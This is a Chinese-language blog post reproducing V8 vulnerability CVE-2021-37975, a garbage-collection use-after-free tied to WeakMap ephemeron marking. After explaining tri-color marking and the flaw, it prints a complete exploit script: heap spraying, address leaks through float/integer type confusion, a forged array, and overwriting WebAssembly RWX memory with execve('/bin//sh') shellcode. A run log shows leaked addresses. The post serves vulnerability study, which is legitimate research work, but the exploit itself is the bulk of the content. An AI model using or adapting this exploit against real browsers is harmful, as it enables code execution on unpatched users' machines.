v8漏洞CVE-2021-37975复现

CVE-2021-37975复现

这个漏洞与垃圾回收机制的不完善有关,总体还算有趣,但是想要发现,还是需要对其中涉及到的WeakMap的特性十分了解,或者动态调试过相关的内容,也算是小特性导致大漏洞的一个例子,能发现这个漏洞的人还是很厉害的。

V8 引擎 的垃圾回收核心算法之一是 三色标记算法。这是一种高效的垃圾回收算法,用于标记和清除不再使用的内存对象。

三色标记算法

白色(未被回收器访问,结束回收)
  • 初始状态,表示对象尚未被垃圾回收器访问。
  • 如果对象在垃圾回收结束时仍然是白色,则会被回收
灰色(被回收器访问但子对象未被访问,结束进一步处理)
  • 表示对象已经被垃圾回收器访问,但其引用的子对象尚未被访问。
  • 灰色对象会被放入一个工作队列,等待进一步处理。
黑色(被回收器访问,结束不回收)
  • 表示对象及其引用的所有子对象都已被垃圾回收器访问。
  • 黑色对象是存活的,不会被回收。
算法工作流程(全局栈灰其他白)(依次取灰变黑,白子对象变灰)(白回收其他保留)
阶段 1:初始化
  • 将所有对象标记为白色。
  • 将根对象(如全局对象、栈上的变量等)标记为灰色,并放入工作队列。
阶段 2:标记
  • 从工作队列中取出一个灰色对象,将其标记为黑色。
  • 遍历该对象的所有子对象:
    • 如果子对象是白色,则将其标记为灰色,并放入工作队列。
  • 重复上述过程,直到工作队列为空。
阶段 3:清除
  • 遍历所有对象:
    • 如果对象是白色,则将其回收。
    • 如果对象是黑色或灰色,则保留。
v8中的算法流程
标记阶段
  • V8 的垃圾回收器会从根对象开始,遍历所有可达对象,并将其标记为黑色。
  • 灰色对象会被放入一个工作队列,等待进一步处理。
清除阶段
  • V8 会遍历所有对象,将白色对象回收,黑色对象保留。
增量标记
  • V8 支持增量标记(Incremental Marking),将标记阶段分为多个小步骤,减少垃圾回收对程序运行的干扰。
并发标记
  • V8 支持并发标记(Concurrent Marking),在程序运行的同时进行标记,进一步提高性能。
增量标记机制
  1. 启动增量标记
    • 当 V8 检测到需要垃圾回收时,启动增量标记。
    • 将根对象标记为灰色,并放入工作队列。
  2. 逐步标记
    • 在程序运行的间隙(如事件循环的空闲时间),V8 会从工作队列中取出一些灰色对象,将其标记为黑色,并将其子对象标记为灰色。
    • 重复上述过程,直到工作队列为空。
  3. 完成标记
    • 当所有灰色对象都被处理完毕时,标记阶段完成。

WeakMap

WeakMap特点
  1. 键必须是对象,不能是值
  2. 弱引用
  3. 不可枚举,没有size属性
  4. 没有清空方法
WeakMap方法(不支持keys(),values() ,entries() )
  • weakMap.get(key)
  • weakMap.set(key, value)
  • weakMap.delete(key)
  • weakMap.has(key)

漏洞关键数据结构

  • next_ephemerons: 当(key, value) 均为白色对象时则存放在next_ephemerons中,供下一次迭代使用。
  • current_ephemerons: 在迭代开始时与next_ephemerons进行交换,交换完之后next_ephemerons为空。
  • local_marking_worklists: 可以通过黑色对象访问的白色对象被标记为灰色,并且放入local_marking_worklists。灰色对象在ProcessMarkingWorklist函数中被标记为黑色。
  • discovered_ephemerons:当local_marking_worklists中的WeakMap对象被标记为黑色的时候,WeakMap中均为白色的键值对将被加入到discovered_ephemerons中。

漏洞关键函数

  • MarkLiveObjects:将存活的对象标记为黑色。它是GC标记算法的入口。它会调用两次 ProcessEphemeronMarking
  • ProcessEphemeronMarking:WeakMap中的(key, value)被称为Ephemeron,这个函数处理WeakMap键值对的标记。
  • ProcessEphemeronsUntilFixpointProcessEphemeronMarking 调用 ProcessEphemeronsUntilFixpoint实现功能。
bash 复制代码
[root@VM-4-6-opencloudos v8]# ./out/x64.release/d8 ./a_ypj/poc.js 
================ double in free zone: larr
fetch failed
================ double in free zone: larr
===========before access free pointet 1
===========before access free pointet 2
===========before findLArr
===========after findLArr
================ double in free zone: instance
================found instance address: 0x8154195 at index: 0
================found instance address2: 0x8154195 at index: 0
found instance object at: 1 index: 0
found instance object at: 1 index: 1
================ obj
array address: 0x829f8e9
array element address: 0x829f909
rwx address at: 0x11b02cda0000
shellArray addr: 0x829fb01
[root@VM-4-6-opencloudos v8]# ls
AUTHORS      build_overrides      DIR_METADATA       INTL_OWNERS         OWNERS        src
a_ypj        buildtools           docs               LICENSE             PPC_OWNERS    test
base         CODE_OF_CONDUCT.md   ENG_REVIEW_OWNERS  LICENSE.fdlibm      PRESUBMIT.py  testing
bazel        codereview.settings  gni                LICENSE.strongtalk  README.md     third_party
build        COMMON_OWNERS        include            LICENSE.v8          RISCV_OWNERS  tools
BUILD.bazel  custom_deps          infra              MIPS_OWNERS         S390_OWNERS   WATCHLISTS
BUILD.gn     DEPS                 INFRA_OWNERS       out                 samples       WORKSPACE
[root@VM-4-6-opencloudos v8]# exit
exit

漏洞分析

ProcessEphemeron 函数如果标记成功,将ephemeron_marked置为true,并开启下一次迭代。 DrainMarkingWorklist 函数内部在(key, value)为(黑,白)或者(白,黑)时也将会对白色的对象进行标记。遗憾的是,标记完之后并没有判断返回值。也就是说,可能出现DrainMarkingWorklist标记一个对象为黑之后,并不开启下一次迭代,从而结束GC算法

bash 复制代码
# 黑:k0 白:k1 灰:v3
# WeakMap(k1,v1)
# v3.set(k0,k1)

# GC
# v3变黑,遍历k0,k1,k1变灰
# v1变黑
# 结束

# (漏洞点)可以利用WeakMap.get(k1)进行UAF

POC分析

js 复制代码
function sleep(miliseconds) {
    var currentTime = new Date().getTime();
    while (currentTime + miliseconds >= new Date().getTime()) {
    }
}

var initKey = { init: 1 };
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 1000;
var mapAddr = 0x8203ae1;
var mapAddr = 0x8183ae1

var rwxOffset = 0x60;

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;
function hideWeakMap(map, level, initKey) {
    let prevMap = map;
    let prevKey = initKey;
    for (let i = 0; i < level; i++) {
        let thisMap = new WeakMap();
        prevMap.set(prevKey, thisMap);
        let thisKey = { 'h': i };
        thisMap.set(prevKey, thisKey);
        prevMap = thisMap;
        prevKey = thisKey;
        if (i == level - 1) {
            let retMap = new WeakMap();
            map.set(thisKey, retMap);
            return thisKey;
        }
    }
}
function getHiddenKey(map, level, initKey) {
    let prevMap = map;
    let prevKey = initKey;
    for (let i = 0; i < level; i++) {
        let thisMap = prevMap.get(prevKey);
        let thisKey = thisMap.get(prevKey);
        prevMap = thisMap;
        prevKey = thisKey;
        if (i == level - 1) {
            return thisKey;
        }
    }
}

function setUpWeakMap(map) {
    let hk = hideWeakMap(map, level, initKey);
    let hiddenMap = map.get(hk);
    let map7 = new WeakMap();
    let map8 = new WeakMap();
    let k5 = { k5: 1 };
    let map5 = new WeakMap();
    let k7 = { k7: 1 };
    let k9 = { k9: 1 };
    let k8 = { k8: 1 };
    let ta = new Uint8Array(1024);
    ta.fill(0xfe);
    let larr = new Array(1 << 15);
    larr.fill(1.1);
    console.log("================ double in free zone: larr");
    let v9 = { ta: ta, larr: larr };
    map.set(k7, map7);
    map.set(k9, v9);
    hiddenMap.set(k5, map5);
    hiddenMap.set(hk, k5);
    map5.set(hk, k7);
    map7.set(k8, map8);
    map7.set(k7, k8);
    map8.set(k8, k9);

}
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);

function ftoi32(f) {
    dblArr[0] = f;
    return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
    intView[0] = i1;
    intView[1] = i2;
    return dblArr[0];
}

function itof(i) {
    bigIntView = BigInt(i);
    return dblArr[0];
}

function ftoi(f) {
    dblArr[0] = f;
    return bigIntView[0];
}

function gc() {
    new ArrayBuffer(gcSize);
}

function restart() {
    global.__proto__ = {};
    gc();
    sleep(2000);
    main();
}

function main() {
    setUpWeakMap(map1);
    gc();
    let sprayParamArr = [];
    for (let i = 0; i < sprayParam; i++) {
        let thisArr = new Array(1 << 15);
        sprayParamArr.push(thisArr);
    }
    globalIdx['a' + globalIdx] = 1;
    for (let i = 0; i < sprayParamArr.length; i++) {
        let thisArr = sprayParamArr[i];
        thisArr.fill(instance);
    }
    globalIdx['a' + globalIdx + 1000] = 1;
    let result = null;
    try {
        result = fetch();
    } catch (e) {
        console.log("fetch failed");
        restart();
        return;
    }
    if (!result) {
        console.log("fail to find object address.");
        restart();
        return;
    }
    let larr = result.larr;
    let index = result.idx;
    console.log("================ double in free zone: instance");
    let instanceAddr = ftoi32(larr[index])[0];
    let instanceAddr2 = ftoi32(larr[index])[1];
    let instanceFloatAddr = larr[index];
    console.log("================found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
    console.log("================found instance address2: 0x" + instanceAddr2.toString(16) + " at index: " + index);
    let x = {};
    for (let i = 0; i < sprayParamArr.length; i++) {
        let thisArr = sprayParamArr[i];
        thisArr.fill(x);
    }
    globalIdx['a' + globalIdx + 5000] = 1;
    larr[index] = instanceFloatAddr;
    let objArrIdx = -1;
    let thisArrIdx = -1;
    for (let i = 0; i < sprayParamArr.length; i++) {
        globalIdx['a' + globalIdx + 3000] = 1;
        global.__proto__ = {};
        let thisArr = sprayParamArr[i];
        for (let j = 0; j < thisArr.length; j++) {
            let thisObj = thisArr[j];
            if (thisObj == instance) {
                console.log("found instance object at: " + i + " index: " + j);
                objArrIdx = i;
                thisArrIdx = j;
            }
        }
    }
    globalIdx['a' + globalIdx + 4000] = 1;
    if (objArrIdx == -1) {
        console.log("failed getting fake object index.");
        restart();
        return;
    }
    let obj = [1.1, 1.2, 1.3, 0.0];
    console.log("================ obj");
    let thisArr = sprayParamArr[objArrIdx];
    thisArr.fill(obj);
    globalIdx['a' + globalIdx + 2000] = 1;
    let addr = ftoi32(larr[index])[0];
    let objEleAddr = addr + 0x18 + 0x8;
    let floatAddr = i32tof(objEleAddr, objEleAddr);
    let floatMapAddr = i32tof(mapAddr, mapAddr);
    obj[0] = floatMapAddr;
    let eleLength = i32tof(instanceAddr + rwxOffset, 10);
    obj[1] = eleLength;
    larr[index] = floatAddr;
    console.log("array address: 0x" + addr.toString(16));
    console.log("array element address: 0x" + objEleAddr.toString(16));
    let rwxAddr = 0;
    let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
    if (!(fakeArray instanceof Array)) {
        console.log("fail getting fake array.");
        restart();
        return;
    }
    rwxAddr = fakeArray[0];
    console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));

    if (rwxAddr == 0) {
        console.log("failed getting rwx address.");
        restart();
        return;
    }
    let shellArray = new Uint8Array(100);
    thisArr = sprayParamArr[objArrIdx];
    thisArr.fill(shellArray);
    let shellAddr = ftoi32(larr[index])[0];
    console.log("shellArray addr: 0x" + shellAddr.toString(16));
    obj[1] = i32tof(shellAddr + 0x20, 10);
    fakeArray[0] = rwxAddr;
    var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
    for (let i = 0; i < shellCode.length; i++) {
        shellArray[i] = shellCode[i];
    }
    wasmMain();
}
function findTA(ta) {
    let found = false;
    for (let i = 0; i < 16; i++) {
        if (ta[i] != 0xfe) {
            console.log(ta[i]);
            return true;
        }
    }
    console.log(ta[0]);
    return found;
}
function findLArr(larr) {
    for (let i = 0; i < (1 << 15); i++) {
        if (larr[i] != 1.1) {
            let addr = ftoi32(larr[i]);
            return i;
        }
    }
    return -1;
}

function fetch() {
    let hiddenKey = getHiddenKey(map1, level, initKey);
    let hiddenMap = map1.get(hiddenKey);
    let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
    let k8 = map1.get(k7).get(k7);
    let map8 = map1.get(k7).get(k8);
    console.log('===========before access free pointet 1')
    console.log('===========before access free pointet 2')
    let larr = map1.get(map8.get(k8)).larr;
    console.log('===========before findLArr')
    let index = findLArr(larr);
    console.log('===========after findLArr')
    if (index == -1) {
        return;
    }
    return { larr: larr, idx: index };
}
global = {};
globalIdx = 0;
main();

hideWeakMap(map, level, initKey)

作用 :创建一个嵌套的 WeakMap 结构,用于隐藏某个键,返回最后一层的键。

getHiddenKey(map, level, initKey)

作用 :从嵌套的 WeakMap 结构中获取隐藏的键,返回最后一层的键。

setUpWeakMap(map)

作用 :初始化 WeakMap 结构,并填充一些数据,为后续的内存操作和漏洞利用做准备。

gc()

作用:触发垃圾回收,通过分配大内存块强制触发,这里也用了一个漏洞,没事可以复现一下。

main函数具体分析
  1. 初始化 WeakMap 结构
    • 调用 setUpWeakMap(map1),构建嵌套的 WeakMap 结构,并填充 Uint8Arraylarr,目的是为后续的内存操作创造可控的布局。
  2. 触发垃圾回收
    • 调用 gc() 强制触发垃圾回收,释放部分内存,使某些对象进入Dangling状态,为后续的内存重用做准备。
  3. 内存喷射
    • 创建大量 sprayParamArr 数组,填充WebAssembly 实例,目的是占用特定内存区域,增加预测内存布局的确定性。
  4. 获取关键数据
    • 调用 fetch()WeakMap 中提取 larr 和其索引 index,利用 findLArr 找到被释放的 larr 中的异常值,推测内存地址泄露。
  5. 地址泄露与对象伪造
    • 通过 larr[index] 泄露 instance 的内存地址,利用类型混淆float数组和int数组来泄露地址。
    • 替换 sprayParamArr 内容为伪造对象 x,再通过遍历找到 instance 的引用位置,定位到可控的 objArrIdxthisArrIdx
  6. 劫持 WebAssembly 内存
    • 将伪造的 obj填充到 sprayParamArr 的特定位置,通过浮点数操作覆盖 WebAssembly 实例的 RWX内存地址。
    • 将包含 shellcode 的 Uint8Array的地址写入伪造的 obj,最终通过 fakeArray[0] 劫持 RWX 内存指针。
  7. 执行 Shellcode
    • 通过 WebAssembly 导出函数跳转到 RWX 内存区域,执行 shellArray 中的恶意代码。

总结

总体来说,发现漏洞后利用的思路很清晰,但是发现的过程和具体实现利用找到过程中要用到的漏洞还是有一定难度的,但过程有趣,而且中间处理用的漏洞没事也可以复现学习一下。

相关推荐
ACRELKY4 小时前
【黑科技护航安全】分布式光纤测温:让隐患无处可藏
科技·安全
叠叠乐4 小时前
rust Send Sync 以及对象安全和对象不安全
开发语言·安全·rust
zhu12893035565 小时前
网络安全的现状与防护措施
网络·安全·web安全
澳鹏Appen5 小时前
AI安全:构建负责任且可靠的系统
人工智能·安全
zhu12893035567 小时前
网络安全与防护策略
网络·安全·web安全
DevSecOps选型指南8 小时前
2025年企业级开源治理实践与思考
安全·开源·sca·软件供应链安全厂商
virelin_Y.lin8 小时前
系统与网络安全------Windows系统安全(1)
windows·安全·web安全·系统安全
zhu12893035569 小时前
网络安全基础与防护策略
网络·安全·web安全
EasyGBS10 小时前
NVR接入录像回放平台EasyCVR视频系统守护舌尖上的安全,打造“明厨亮灶”云监管平台
安全·音视频
半句唐诗11 小时前
设计与实现高性能安全TOKEN系统
前端·网络·安全